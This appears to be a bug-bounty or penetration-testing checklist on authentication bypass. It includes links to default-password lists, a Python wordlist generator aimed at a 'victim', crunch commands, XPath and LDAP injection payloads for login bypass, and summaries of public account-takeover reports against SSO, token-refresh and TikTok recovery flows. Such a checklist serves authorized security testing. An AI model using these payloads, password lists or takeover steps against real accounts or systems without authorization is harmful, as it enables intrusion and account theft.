Improper Authentication

Easy Ways

Check for comments inside the page (scroll down and to the right?)
Emails tricks

yourname@wearehackerone.com
yourname@bugcrowd.com
lol@company.com@burbcollaboratorpayload.com

Check if you can directly access the restricted pages
Check to not send the parameters (do not send any or only 1)
Check the PHP comparisons error: user[]=a&pwd=b , user=a&pwd[]=b , user[]=a&pwd[]=b
Change content type to json and send json values (bool true included)
- If you get a response saying that POST is not supported you can try to send the JSON in the body but with a GET request with Content-Type: application/json
Check nodejs potential parsing error (read this): password[password]=1
- Nodejs will transform that payload to a query similar to the following one:
  SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` ``**password=password=1**;
  - which makes the password bit to be always true.
- If you can send a JSON object you can send "password":{"password": 1} to bypass the login.
- Remember that to bypass this login you still need to know and send a valid username.
- Adding "stringifyObjects":true option when calling mysql.createConnection will eventually block all unexpected behaviours when Object is passed in the parameter.

Default Credentials

https://github.com/ihebski/DefaultCreds-cheat-sheet

http://www.phenoelit.org/dpl/dpl.html

http://www.vulnerabilityassessment.co.uk/passwordsC.htm

https://192-168-1-1ip.mobi/default-router-passwords-list/

https://datarecovery.com/rd/default-passwords/

https://bizuns.com/default-passwords-list https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv https://github.com/Dormidera/WordList-Compendium https://www.cirt.net/passwords

http://www.passwordsdatabase.com/

https://many-passwords.github.io

https://theinfocentric.com/

Common Combinations

(root, admin, password, name of the tech, default user with one of these passwords).

Dictionarry attack using python script

Dictionary_Attack_Script.py

import numpy as np
from itertools import permutations, product, chain
import math
import time

def casing_count(word):
    """
    Counts the number of possible casings for a given word.
    """
    if word.isdigit():
        # If the word is a digit, it can only be represented in one casing.
        count = 1
    else:
        # Otherwise, the number of possible casings is 2 to the power of the word length.
        count = pow(2, len(word))
    return count

def all_casings(input_string):
    """
    Generates all possible casings for a given string.
    """
    if not input_string:
        yield ""
    else:
        first = input_string[:1]
        if first.lower() == first.upper():
            # If the character is not a letter, keep it as is.
            for sub_casing in all_casings(input_string[1:]):
                yield first + sub_casing
        else:
            # If the character is a letter, generate two casings: one lowercase and one uppercase.
            for sub_casing in all_casings(input_string[1:]):
                yield first.lower() + sub_casing
                yield first.upper() + sub_casing

def perm_count(string_list):
    """
    Counts the total number of permutations for a given list of strings.
    """
    casing_counts = [casing_count(word) for word in string_list]
    total_permutations = np.product(casing_counts) * math.factorial(len(string_list))
    return total_permutations

print("""

  _    __  _        _   ___  ___     
 | |_ /  \\| |_ __ _| |_( _ )( _ )_ _ 
 | ' \\ () |  _/ _` | / / _ \\/ _ \\ '_|
 |_||_\\__/ \\__\\__,_|_\\_\\___/\\___/_|  
                                     
""")
time.sleep(3)
print("\\033[1;32m[+] OK,First let's start with keywords about the victim 👀 \\033[0m")
# Ask the user for a list of phrases separated by commas.
phrases = input("\\033[1;32m[+] Enter keywords separated by commas:\\033[0m \\n").split(',')
phrases = [x.strip() for x in phrases]

print("\\033[1;32m🚀 CALCULATING COMBINATIONS....\\033[0m")
time.sleep(3)

# Print the number of permutations for each combination of phrases.
for i in range(1, len(phrases) + 1):
    phrases_subset = phrases[:i]
    word_counts = [casing_count(word) for word in phrases_subset]
    dictionary = dict(zip(phrases_subset, word_counts))
    total_permutations = perm_count(phrases_subset)
    print(f"{dictionary} = {total_permutations} permutations")

# Generate all possible casings for each word in the list.
all_casings_list = [set(all_casings(word)) for word in phrases]

# Generate all possible permutations of the list of phrases with all possible casings.
permutations_set = set()
for i in range(1, len(phrases)+1):
    for element in product(*all_casings_list[:i]):
        for permutation in permutations(element):
            permutations_set.add(chain(permutation))

# Convert the set of permutations to a list.
permutations_list = [list(gen) for gen in permutations_set]

print("\\033[1;32m✅ Saving our work in [passwords.txt] WORDLIST..... \\033[0m")
time.sleep(5)
# Write the list of permutations to a file.
count = 0
with open('passwords.txt', 'w') as file:
    for password in permutations_list:
        file.write("".join(password) + "\\n")
        count += 1
# print number of passwords generated
print("\\033[1;32m[+] Number of possible passwords:\\033[0m", count)
print("\\033[1;32m                                     🙌 THAT'S IT !,YOU'RE DONE                \\033[0m")

Or using tools like Crunc

crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst)

@ Lower case alpha characters
, Upper case alpha characters
% Numeric characters
^ Special characters including spac
crunch 6 8 -t ,@@^^%%

https://book.hacktricks.xyz/pentesting-web/login-bypass/sql-login-bypass

NoSQL authentication Bypass

https://book.hacktricks.xyz/pentesting-web/nosql-injection#basic-authentication-bypass

XPath Injection authentication bypass

' or '1'='1
' or ''='
' or 1]%00
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
'or string-length(name(.))<10 or'
'or contains(name,'adm') or'
'or contains(.,'adm') or'
'or position()=2 or'
admin' or '
admin' or '1'='2

LDAP Injection authentication bypass

*
*)(&
*)(|(&
pwd)
*)(|(*
*))%00
admin)(&)
pwd
admin)(!(&(|
pwd))
admin))(|(|

Improper Microsoft SSO Configuration

The application returned an unusually large content-length (over 40,000 bytes!) on the redirection response.
The application was leaking its internal responses to every request while sending the user to the redirection to the SSO
So, it was possible to tamper the responses and change the 302 Found header to 200 OK and delete the entire *Location* header, giving access to the whole application

Changing Authentication Type to Null

- A quick analysis showed it used an md5 value of the supplied password value. 
- There was another interesting sign in the request: scode had an attribute as type valued with 2.
- I tried assigning the value to 1, which would accept the cleartext password. It worked! 
- So, brute force within cleartext values was possible. Not a big deal, but it was a sign I was on the right path. 
- What about assigning it to the null values? Or other values such as -1, 0 or 9999999999? Most of them returned an error code except value 0. 
- I tried several things with the attribute *0* but had no luck until I sent the password value as an empty value.
- I realized it was possible to access any account by simply supplying the usernames and empty passwords. 
It turned out to be quite a big bug

PrevEsc Via Response manipulation

# PrevEsc
1. Go to login Panel
2. Login With your Credentials
3. study the login process from Burp-suite logs
4. Understand how the server handles roles like user and admin 
5. try req/response manipulation to Prev-Esc for example manipulate parameters like [ role, ID, status code, false, true]
6. Play With the match and replace feature in Burp-suite
lol@sso.com → lol@gmail.com

Authentication Bypass via Subdomain Takeover

Authentication Bypass on sso.ubnt.com via Subdomain Takeover of ping.ubnt.com

A subdomain (ping.ubnt.com) is pointing to the CDN hostname (d2cnv2pop2xy4v.cloudfront.net.) but has not been claimed yet.
The Single-Sign-On (SSO) functionality sets the cookie domain attribute as "[domain=.ubnt.com](http://domain%3D.ubnt.com/)".

Attack Scenario

The attacker claims the CDN hostname d2cnv2pop2xy4v.cloudfront.net. and hosts own application.
A logged in user (*.ubnt.com) visits the subdomain ping.ubnt.com (unknowingly or lured by attacker) and the session cookies are transferred to and logged by d2cnv2pop2xy4v.cloudfront.net. (owned by attacker).
The attacker uses the session cookies to authenticate as victim user.

Refresh Token Endpoint Misconfiguration Leads to ATO

vuln Explain
In this case, once a user logged into the application with valid credentials, it created a Bearer Authentication token used elsewhere in the application.
This auth token expired after some time. Just before expiration, the application sent a request to the back-end server within the endpoint /*refresh/tokenlogin* containing the valid auth token in the headers and username parameter on the HTTP body section.
Further testing revealed that deleting Authorization header on the request and changing the username parameter on the HTTP body created a new valid token for the supplied username. Using this exploit, an attacker with an anonymous profile could generate an authentication token for any user by just supplying their username.

Steps

Find Refresh Token Endpoint
Remove Bearer Header
change username
Get the token for any user in response

Remember Me Feature

Other Checks

Check if you can enumerate usernames abusing the login functionality.
Check if auto-complete is active in the password/sensitive information forms input: <input autocomplete="false"
-Missing Secure or HTTPOnly Cookie Flag for Session Token

CMS-Based Access Problems

Attack Explain
One popular CMS platform, Liferay, was used in an internal application in one case I examined. The application only had a single login page accessible without authentication, and all other pages were restricted on the application UI.
For those not familiar with Liferay, the CMS uses portlets for application workflow, which have a parameter as p_p_id within numeric numbers. For that application, it was possible to access the login portlet by changing the parameter to value 58. On the normal login page, only the login form was accessible. However, by accessing the portlet directly, it was possible to reach the Create Account functionality, which then allowed self-registration to access internal applications without proper authorization.
Please note that while Liferay used this workflow before, its latest version uses portlet names instead of numeric ids. Still, it is possible to access other portlets by changing names as well.

Play with numerical parameters like p_p_id change it to 58 or parameters that use username play with them

Weak Password Policy

Check If there is Features that should have password policy and it doesnt have one Like:
password Change 
Password Reset
or Wherever  You enter a Passw
- Allows users to create simple passwords
- Allows brute force attempts against user accounts
- Allows users to change their password without asking for password confirmation
- Allows users to change their account email without asking for password confirmation
- Discloses token or password in the URL
- GraphQL queries allow for many authentication attempts in a single request
- Lacking authentication for sensitive requests

Admin Panel

Az0x7/vulnerability-Checklist
default credentials
[Admin Approval Bypass](https://hackerone.com/reports/1861487)

Improper Token Scope and Validation Allowing Unauthorized Access and Authentication Bypass Across Multiple API Endpoints

[$12000] 3 Critical 0-click TikTok Account Takeover Vulnerabilities, 2FA bypass & more security…Medium

TikTok Account Recovery Flaws:
- TikTok’s recovery process allows users to search for accounts using usernames, revealing linked phone numbers or emails without authentication.
- Using Burp Suite and a script to bypass SSL pinning, Cekal intercepted API requests to endpoints like /tiktok_username/, /safe_verify/, and /available_ways/. These endpoints provided sensitive account details, such as masked emails and linked third-party platforms, via a "not login token."
Not Login Token Issue:
- The "not login token," generated during account recovery, was overly permissive, allowing access to sensitive actions like sending verification codes to linked phone numbers or emails without needing account credentials.
Account Takeover Vulnerability #1:
- A flaw in the password reset process allowed bypassing the SMS verification code by omitting the codeparameter, enabling password changes for accounts with known phone numbers. Using the not login token, attackers could reset passwords by only knowing the username, provided a phone number was linked. This was quickly reported and patched.
OTP Bypass for Unlinking Phone Numbers/Emails:
- Cekal found that the same "verify token" used for unlinking phone numbers or emails was generated during 2FA setup when entering a correct password. This allowed attackers with the account password to bypass OTP verification and unlink contact details, facilitating account takeover. TikTok marked this as a duplicate and has not patched it as of 2024.
Account Takeover Vulnerability #2:
- Cekal exploited flaws in the email change process, where the /email/update/ endpoint failed to validate the verify token properly and accepted the not login token instead of a session ID. By spoofing verification codes and using a verify token from 2FA setup, he could link his email to any TikTok account, enabling password resets. Reported and patched in early 2024, earning a $12,000 bounty.
Account Takeover Vulnerability #3:
- A more advanced exploit involved using the not login token and a misconfigured /verification_manage/endpoint to obtain a valid verify token for any account without logging in. By sending a spoofed OTP and exploiting a 30-second validation window, Cekal could change an account’s email and bypass 2FA. This was patched but marked as a duplicate, with no bounty awarded due to a near-simultaneous report.

HackerOne Reports :

Potential pre-auth RCE on Twitter VPN to Twitter - 1157 upvotes, $20160
Improper Authentication - any user can login as other user with otp/logout & otp/login to Snapchat - 891 upvotes, $25000
Subdomain Takeover to Authentication bypass to Roblox - 718 upvotes, $2500
[ RCE ] Through stopping the redirect in /admin/* the attacker able to bypass Authentication And Upload Malicious File to Mail.ru - 340 upvotes, $4000
Shopify admin authentication bypass using partners.shopify.com to Shopify - 287 upvotes, $20000
Bypass Password Authentication for updating email and phone number - Security Vulnerability to Twitter - 260 upvotes, $700
Spring Actuator endpoints publicly available and broken authentication to LINE - 223 upvotes, $12500
Misuse of an authentication cookie combined with a path traversal on app.starbucks.com permitted access to restricted data to Starbucks - 221 upvotes, $4000
Through blocking the redirect in /* the attacker able to bypass Authentication To see Sensitive Data sush as Game Keys , Emails ,.. to Razer - 196 upvotes, $1000
Authentication bypass on auth.uber.com via subdomain takeover of saostatic.uber.com to Uber - 165 upvotes, $5000
Web Authentication Endpoint Credentials Brute-Force Vulnerability to HackerOne - 151 upvotes, $1500
2-factor authentication can be disabled when logged in without confirming account password to Localize - 144 upvotes, $500
[c-api.city-mobil.ru] Client authentication bypass leads to information disclosure to Mail.ru - 143 upvotes, $8000
Incorrect param parsing in Digits web authentication to Twitter - 122 upvotes, $2520
RCE/LFI on test Jenkins instance due to improper authentication flow to Snapchat - 102 upvotes, $5000
Thailand - a small number of SMB CCTV footage backup servers were accessible without authentication. to Starbucks - 92 upvotes, $0
User account compromised authentication bypass via oauth token impersonation to Picsart - 91 upvotes, $0
SAML Authentication Bypass on uchat.uberinternal.com to Uber - 82 upvotes, $8500
Account Takeover via SMS Authentication Flow to Zenly - 82 upvotes, $1750

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